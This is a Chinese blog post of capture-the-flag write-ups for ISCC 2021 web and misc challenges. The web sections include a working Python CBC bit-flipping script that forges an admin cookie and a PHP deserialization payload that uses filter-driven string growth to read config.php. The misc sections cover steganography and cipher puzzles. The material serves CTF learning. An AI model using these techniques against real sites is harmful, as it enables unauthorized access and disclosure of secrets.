✿ISCC2021✿题目以及部分wp
文章目录
- ISCC 部分web、杂项wp
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- WEB
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- ISCC客服一号冲冲冲（一）
- 这是啥
- Web01
- ISCC客服一号冲冲冲（二）
- 登录
- misc
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- 李华的红包
- Retrieve_the_passcode
- 海市蜃楼1
- 美人计
- 检查一下
- 小明的宠物兔
- 小明的表情包
ISCC 部分web、杂项wp
ISCC2021马上结束，作为一名CTF萌新，通过比赛也成长了一些，拿下了其中几道（一点点点点）题目，现分享一些自己做的题目
另附iscc2021线上赛赛题（无web，pwn）
看完后各位看官记得给个三连鼓励一下
WEB
ISCC客服一号冲冲冲（一）
只有二十秒，用手点肯定是点不过的，那么
首先想到的那必然是刷票，通过F12打开控制台—cansole
投票嘛，那就试一试vote，果不其然存在，不多BB，直接开刷，摊牌了，爷是科技兵
记得选择左边的狗狗啊
回车完成，关闭控制台
什么？？？禁止刷票，这可怎么办
我们等待时间结束，dd，就算禁止刷票，你奈我何，不还是妥协了
flag：ISCC{1SCC_2o2l_KeFuu}
这是啥
打开页面 嗯？ **介是嘛？**好家伙，还有口音
照例Ctrl+u看一下源代码
嗨！就这？？？jsfuck而已，我们复制下来，注意这里不要复制多了，开头结尾都要删一点
保留：我草（一种植物）好长
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百度一个jsfuck在线解码或者老规矩，F12控制台console
回车执行
出活
Web01
正则匹配最后的倔强，那我倒要看看有多倔强
打开链接
Why don't you take a look at robots.txt?
行，爷这回听你的
又来？？？
行，爷还听你的
这里我刚开始出错了，把/src也给整上了，迷惑了好半天，罪过
审计后发现，密码在这藏着呢
ISCC{1SCc-202i}
ISCC客服一号冲冲冲（二）
呦，又见面了，狗子
打开链接，发现登录接口似乎是个图片截了一块啊，把图片下载下来，lsp隐写发现源代码，同时php弱比较登录页面
（都看到这里啦，还不给个三连吗）
本着这次一定的原则，我还是迎难而上，但是
尼玛，这没有密码啊
等等，我好像发现了什么
我们得到第一题flag，所以这个flag是啥呢（第二题：这是啥），第三题flag（）告诉我们，哦这是密码啊
登录密码居然隐藏在题目描述里
行吧，直接搞起来
这里要用到一个东西，浏览器插件HackBar或者火狐渗透版
吐了嗷，admin不让看
偶然间突然发现，除了admin，谁都可以进，只要密码对，出题人在哪，头伸过来我砍砍
换了zdmin上去后
em…搞我呢
但是，本着**这次一定（疯狂暗示）**做出来的原则，在存储里发现了这样的cookie
这不是CBC加密（CBC字节翻转攻击）吗，简单
攻击原理就不放了，有兴趣的童鞋可以自行搜索，或者点一手关注，说不定哪天就更新相关内容了呢
简单来说就是通过异或翻转字节
直接上代码修改cipher和iv控制用户名
注意一下哈：每次刷新由于本地post值的存在，cipher和iv都会变，我们要一定要清除本地post值
一个简单的办法，复制当前URL，关闭浏览器删除一小时内浏览记录或这个网址浏览记录，粘贴刚刚复制的URL再进去，无论怎么刷新还是这个iv和cipher
这里上的是Python2的代码
第一段
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Link : http://blog.csdn.net/csu_vc
import base64
import requests
import urllib
iv_raw='i6RfsKjmCpdRqbJGVObwbg%3D%3D' #这里填写第一次返回的iv值
cipher_raw='nEUant73cLQOvjWeQbR4K69FZXw8UGdV0A5r4DildwOOW6RdoiX140i3CaomjByv3mKADN9dZSKcQLDpoPCgordsOH4PtrnlIYmF6FBBmkw%3D' #这里填写第一次返回的cipher值
print "[*]原始iv和cipher"
print "iv_raw: " + iv_raw
print "cipher_raw: " + cipher_raw
print "[*]对cipher解码，进行反转"
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:] #请根据你的输入自行更改，原理看上面的介绍
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print "反转后的cipher：" + xor_cipher
特别注意：
我这里用的用户名是zdmin，如果你用的是其他的用户名（最好最好在admin的基础上改动一个字母），
username admin这里共13个字符
xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:]
你改的是第几个字符cipher中就是0:几+chr(ord(cipher[几])^ ord('你改的那个字母'^ ord('改成什么字母')cipher[几+1:])
例如：admil就是
xor_cipher = cipher[0:13] + chr(ord(cipher[13]) ^ ord('l') ^ ord('n')) + cipher[14:]
得到翻转后的cipher
nEUant73cLQOpTWeQbR4K69FZXw8UGdV0A5r4DildwOOW6RdoiX140i3CaomjByv3mKADN9dZSKcQLDpoPCgordsOH4PtrnlIYmF6FBBmkw%3D
将翻转后得到的新cipher替换浏览器中原来那个cipher，刷新页面
出现了提示错误
这是因为我们修改了密文1中的数据，使第一次解密出的明文数据错乱，打乱了序列化数据的格式，反序列化失败。
但是当我们把返回的base64数据解码后，可以发现我们的username已经修改成admin了
出现这种错误，根据CBC解密原理，我们只需要修改iv的值，使得iv XOR 解密(密文1) = 明文1 即可
还是上代码，同样的，Python2
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-03-15 11:56:20
# @Author : csu_vc(s4ad0w.protonmail.com)
# @Link : http://blog.csdn.net/csu_vc
import base64
import urllib
cipher = 'V/pACxVKq7HhWuPDmWWz/G1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30='#填写提交后所得的无法反序列化密文
iv = 'i6RfsKjmCpdRqbJGVObwbg%3D%3D'#一开始提交的iv
#cipher = urllib.unquote(cipher)
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
newIv = ''
right = 'a:2:{s:8:"userna'#被损坏前正确的明文
for i in range(16):
newIv += chr(ord(right[i])^ord(iv[i])^ord(cipher[i])) #这一步相当于把原来iv中不匹配的部分修改过来
print urllib.quote(base64.b64encode(newIv))
得到新iv
vWQtgcbfmx6K0ST2qPEt8w%3D%3D
在浏览器中，将新iv替换进去，刷新一下
出活！！！
Flag is iscc{15Cc_Ke0fU_No_D1An_l}
登录
这道题神似BUU上一道0CTF—piapiapia
直接开整
扫描一下目录，这里用御剑扫不出来www.zip似乎字典没有添加
我是在kali中使用dirsearch
在http://39.96.91.106:7010/www.zip中下载了一个压缩包，解压后发现是源代码
这里把源代码贴一下
index.php
16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
Login
没什么卵用的注册源码register.php
16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!Please Login';
}
else {
die('User name Already Exists');
}
}
else {
?>
Login
注册登陆后的profile.php
show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
Profile
Hi
update.php
10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!Your Profile';
}
else {
?>
UPDATE
核心的处理代码，class.php
table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
最后是config.php
看来flag就是在config.php中了，要想办法拿到config.php的内容
然后就是代码审计
这个地方貌似有个文件读取的地方，在profile.php中
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
上面还有个反序列化unserialize，感觉有戏，如果$profile[‘photo’]是config.php就可以读取到了，可以对photo进行操作的地方在update.php，有phone、email、nickname和photo这几个
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));
结果如下：
Array
(
[phone] => 13838438250
[email] => [email protected]
[nickname] => 123456
[photo] => config.php
)
可以看到反序列化之后，最后面upload这一部分就没了，下面就是想办法把config.php塞进去了。
从数组顺序上看是和上面数组的顺序一样的，可以抓个包看下post顺序，那么最有可能的就是从nickname下手了。
在设置了$profile之后，用update_profile()函数进行处理
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
过滤后
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
有两个正则过滤，带上输入nickname时候有一个正则，总共三个过滤的地方，首先要绕过第一个输入时候的正则：
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
数组即可绕过：
nickname[]=
那么$profile就是这样了：
$profile = a:4:{s:5:"phone";s:11:"13838438250";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
后面的正则要怎么利用呢，可以看到如果我们输入的有where，会替换成hacker，这样的话长度就变了，序列化后的每个变量都是有长度的，那么反序列化会怎么处理呢？我们应该怎么构造呢？
数组绕过了第一个正则过滤之后，如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;}，一共是34个字符，如果利用正则替换34个where，不就可以把这34个给挤出去，后面的upload因为序列化串被我们闭合了也就没用了
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
操作开始,该我上场表演了
注册之后登陆，进入到update.php页面，输入信息及上传图片，这时用burpsuite抓包把nickname改成数组
然后进入到profile中查看图片信息或者源代码
解码得到
flag = ISCC{what_is@the&_nickname*?1112234}
以上便是本次ISCC中我做出的全部web题目了，如有错误或说明不清的地方请在评论区指出或留下宝贵的意见
misc
李华的红包
很简单的题目，首先jpg分离，我们将得到一个rar文件，里面明显是敲击码，先读纵轴
题目其实有提示，将图片大小改为521*521，可以看到下面有一个鼓，对应敲击
ISCC{ISCCBFS}
Retrieve_the_passcode
拿到题目，嗯？？一个加密rar和一个txt，txt名称英文的？？不认识啊！！百度翻译后，哦~分散的、散点
想到了散点图，python写个脚本画出散点图，easy！
上脚本
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
lis = [1,3,1,1.25,3,1,1.5,3,1,1.75,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.25,2.25,1,1.5,2.25,1,1.75,2.25,1,1,1.5,1,1.25,1.5,1,1.5,1.5,1,1.75,1.5,1,3,3,1,3.25,3,1,3.5,3,1,3.75,3,1,4,3,1,3.25,2.25,1,3.5,2.25,1,3.75,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.25,1.5,1,3.5,1.5,1,3.75,1.5,1,3,1.75,1,3,2,1,3,2.25,1,3,2.5,1,3,2.75,1,5,3,1,5.25,3,1,5.5,3,1,5.75,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.75,1.5,1,5.5,1.5,1,5.25,1.5,1,5,1.5,1,5,2.25,1,5.25,2.25,1,5.5,2.25,1,5.75,2.25,1,5,2.5,1,5,2.75,1,7,3,1,7.25,3,1,7.5,3,1,7.75,3,1,8,3,1,8,2.75,1,8,2.5,1,8,2.25,1,8,2,1,8,1.75,1,8,1.5,1,9,3,1,9.25,3,1,9.5,3,1,9.75,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.75,2.25,1,9.5,2.25,1,9.25,2.25,1,9,2.25,1,9,2,1,9,1.75,1,9,1.5,1,9.25,1.5,1,9.5,1.5,1,9.75,1.5,1,10,1.5,1,11,3,1,11.25,3,1,11.5,3,1,11.75,3,1,12,3,1,12,2.75,1,12,2.5,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.75,1.5,1,11.5,1.5,1,11.25,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.25,2.25,1,11.5,2.25,1,11.75,2.25,1]
x = lis[0::3]
y = lis[1::3]
z = lis[2::3]
fig = plt.figure()
ax = plt.figure().add_subplot(111, projection = '3d')
ax.set_title('Scatter Plot')
ax.set_xlabel('X Label')
ax.set_ylabel('Y Label')
ax.set_zlabel('Z Label')
ax.scatter(x,y,z,c = 'r',marker = '.')
plt.legend('x1')
plt.show()
运行
得到压缩包解压密码
365728
打开压缩文件是一个pdf
接下来就是解摩斯密码了
题目说是小写字符串
转小写：
congratulationtheflagischallengeiscctwozerotwoone
这题最深的坑来了
尼玛这题答案不是ISCC{challengeiscctwozerotwoone}
而是ISCC{congratulationtheflagischallengeiscctwozerotwoone}
深坑！！！
海市蜃楼1
拿到题目打开文件发现是乱码，直接拿010看一下（winhex也可以）
发现文件头是504b0304
zip格式
重命名为zip后打开后发现里面是几个文件夹（这种文件夹一般都是word转的zip）
打开后发现多个文件，一个一个找，在document中找到flag
也可以用win rar解压软件中直接搜索字符flag
ISCC{zheshishui}
美人计
拿到题目下载文件，得到一张绯红女巫，啊不，伊丽莎白·奥尔森的照片，还有一张二维码
扫码结果看着像base64
扫码内容：
U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu
3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu
+CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE
+pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=
解码后
Salted__ÊkërÌðBL!;åKˆœÿ¢ƒ•¾MóG¶©›¯h°3ý_Ò.Ük†Zcδí»ÏËͦöÂÀþñU¡vÕ½'‡Áˆ¯öìj½ÂW$Êïëîø jX1©èuÑîp„hnÎR´fÐ\
—O
"¿†¹Ib~ŸpP$ø"ºMxÝú’
‰"W¢UËG[É Ñ˜÷f\VâXúÛÙNëþþg ÿ
看到salted想到这是其他编码的base64形式
通过查看照片的16进制我们得知
这大有可能是aes，秘钥为ISCC2021
尝试（这里需要连解3次aes）
得到一句话
y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!
漂亮！我掉进了美丽的陷阱中，果然美人的话不能全信
继续查看
发现word文档中藏有zip，分离后解压，得到一些文件夹，在其中一个文件夹中，我们得到了另一个二维吗
扫码后尝试aes不对，想到类似的des
解码成功，秘钥依旧是ISCC2021
ISCC{be@uty_1ike$_Y0u_2O2lISCC}
检查一下
一张图片，010查看后没发现什么，拿到kali中binwalk分离一下，得到一堆1，0组成的文件，长度为841，很容易联想到29*29是个二维码
二进制转二维码1对应黑，0对应白
脚本如下：
from PIL import Image
MAX = 29
img = Image.new("RGB",(MAX, MAX))
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
img.putpixel([x,y],(0, 0, 0))
else:
img.putpixel([x,y],(255,255,255))
i = i+1
img.show()
img.save("flag.png")
ISCC{Png_Chunk_streams_ISCC}
小明的宠物兔
下载图片010查看无果，果断拖进kali分离，foremost出结果，得到一个压缩包，解压后
得到一个flag.txt，一个key.zip。flag.txt里面为rabbit加密，key.zip里面文本原始大小为5，这里crc32爆破然后解密完事
解密脚本或者使用hashcat
ISCC{u_really_know_rabbits}
小明的表情包
下载文件，是一个加密的压缩包，题目里说密码是小明出生日月年，给的凯撒解出后是NINETEEN NINETY NINE，所以1999年出生，剩下就好办了，直接爆破，得到0707
所以解压码是07071999
拿到JPG图片一张
010查看后，发现缺少文件头FFD8，补齐重新打开得到Flag
ISCC{Nyuuiitt}
怎么样，觉得本文章对你有帮助吗，如果感到不错请三连支持一下博主，有任何意见或建议可在评论区留言